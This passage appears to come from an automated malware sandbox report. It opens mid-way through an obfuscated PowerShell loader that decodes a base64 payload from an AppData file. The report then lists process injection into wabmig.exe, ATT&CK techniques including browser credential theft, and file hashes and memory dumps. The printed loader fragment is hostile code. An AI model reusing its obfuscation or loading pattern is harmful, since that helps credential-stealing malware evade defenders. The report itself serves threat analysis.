;$Violen=$Agrars[$Papirvlde];}$Storaksen96=299653;$Mouritze=29124;hjreafledninger (Unjagged 'Flle$ReingPortlSo.roSv rbVitaaToksl Acr:po.iSLegacCrysr,iglaSussiPol g RhehInvae UnsdNann Pedr=Bond AbouGSpideBasktBust- IstCMicro Svan KortAfteeTabln LintTro Stru$MizeS IncnEkskoQuaco.blet KoniM,stlRok yLivs ');hjreafledninger (Unjagged 'Nong$Cat gSpinlTredo Supb ataE relyngl:So iAElimnU ebtAndehGarrrThoroMosqpStapoMaskg TraeFi voMonggH nirUbeaaSlaap,orjhA skiVi,lcAss,a Sk,lPja, F b=Paas Afst[OsdiSB,osyH.lss GastJu peDe rmAnsa.SignCEndioTr cnRegnvTu.le Hanr Albt F,l]Felt:De.e:CystF Synr aromusem eliBPl ta Gles,psleLif.6athe4LordS Dect oryrSermiRiannMolggDisq(K.rt$s.ydSSludcCo dr Gala S.fiDirigSa thDefae Ha,dTje ) ils ');hjreafledninger (Unjagged ' Non$ VedgAnkelInteo upebCharaBirclFri.:Sp aGEnteyRechmTetrnC,inaH mis cast H.li S.nkBarrf UnroPrivr H peDippnAfskifl unInspgUnree ncurLorr1Blde3Job 4 Sha Apoq=Rer U ed[MecuSPlysy aksElemtSempe,urtmS,em. SteTThe.eHinsxNredt Fl .SufiE.unknOvincDownoEle d fliiSkrbn InggForb] lde:Suve:ParaA Pr S PraCKoloIUn hISlib.LouiGDe,eeH,ngtTo aSHue t astr Wi,iStign tiegSeki(Jobn$PlunAMi.dnTwistNo.ehCunerTragoG.lepstaro Pl gS iteNatuoC,ung Si,rAldea ConpPre,h.kimi FlicTaalaKuraltvrd)hnse ');hjreafledninger (Unjagged 'Omst$WersgCorolBorto nsbCigaaB,wslAjle:S ylTretse sperEmeem PesoFimbs FintDrawaProntGabboMislv idwn Re e AlgnAs isEndh= O e$Svr,GEsloy vlmAn jnSinka WidsFremtphotiBacokThwafRaafoBetrrB lfeideonAppoiPectnfo,eg EnceDemorNels1Virk3Indr4Forr. ProsSynduelecb Om sKa.kt remrBr niPej,n,leugFors( J h$SvbeSSyg tSpedoVer rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2784
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Henfoere.Fem && echo t"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1396
    - - C:\Program Files (x86)\windows mail\wabmig.exe
        
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Henfoere.Fem

Filesize
428KB

MD5
0b2bd7535a362d772acf2a6769ad6537

SHA1
e02b3df5f5b62d918a4203f8ec6877e0a67b8af8

SHA256
8040306c7feac0f79361f9cd1bdcc50951126e4bd24886af56a96d0639352c78

SHA512
abe7c8a183c525197bfc42263ca52efa8be29140d7aad06789135197d0f652d2f63d369e887e1ce50fc4a33549c7bec92655334e2c53069f1a1258d0b90191f1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PBZ057RQP4BHPMLVLO1H.temp

Filesize
7KB

MD5
a5b4967acc8db039dfa8f25927aa679c

SHA1
3ece004fefeb55a60c476b2c97e4fe21f37d63e9

SHA256
1eee77e61203210043a3f7f68d803ad95386e904ee4221738efced51489038ee

SHA512
bd77a71314ec6651b853f3b9c0bba69cfb8b77adadedd05dc2df009a6e8f33c4180b1d4848bc1a41b1d9791927db697c39dad435716bce4152fe071faa82bd0a

Download Submit
memory/2204-13-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

Filesize
4KB

Download
memory/2204-14-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-8-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-9-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-10-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-11-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

Filesize
4KB

Download
memory/2204-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2204-7-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2204-43-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-20-0x0000000001EC0000-0x0000000006FE8000-memory.dmp

Filesize
81.2MB

Download
memory/2684-38-0x0000000000E50000-0x0000000001EB2000-memory.dmp

Filesize
16.4MB

Download
memory/2684-42-0x0000000000E50000-0x0000000001EB2000-memory.dmp

Filesize
16.4MB

Download
memory/2684-44-0x0000000000E50000-0x0000000000E90000-memory.dmp

Filesize
256KB

Download
memory/2784-19-0x0000000006820000-0x000000000B948000-memory.dmp

Filesize
81.2MB

Download

Analysis

Sharing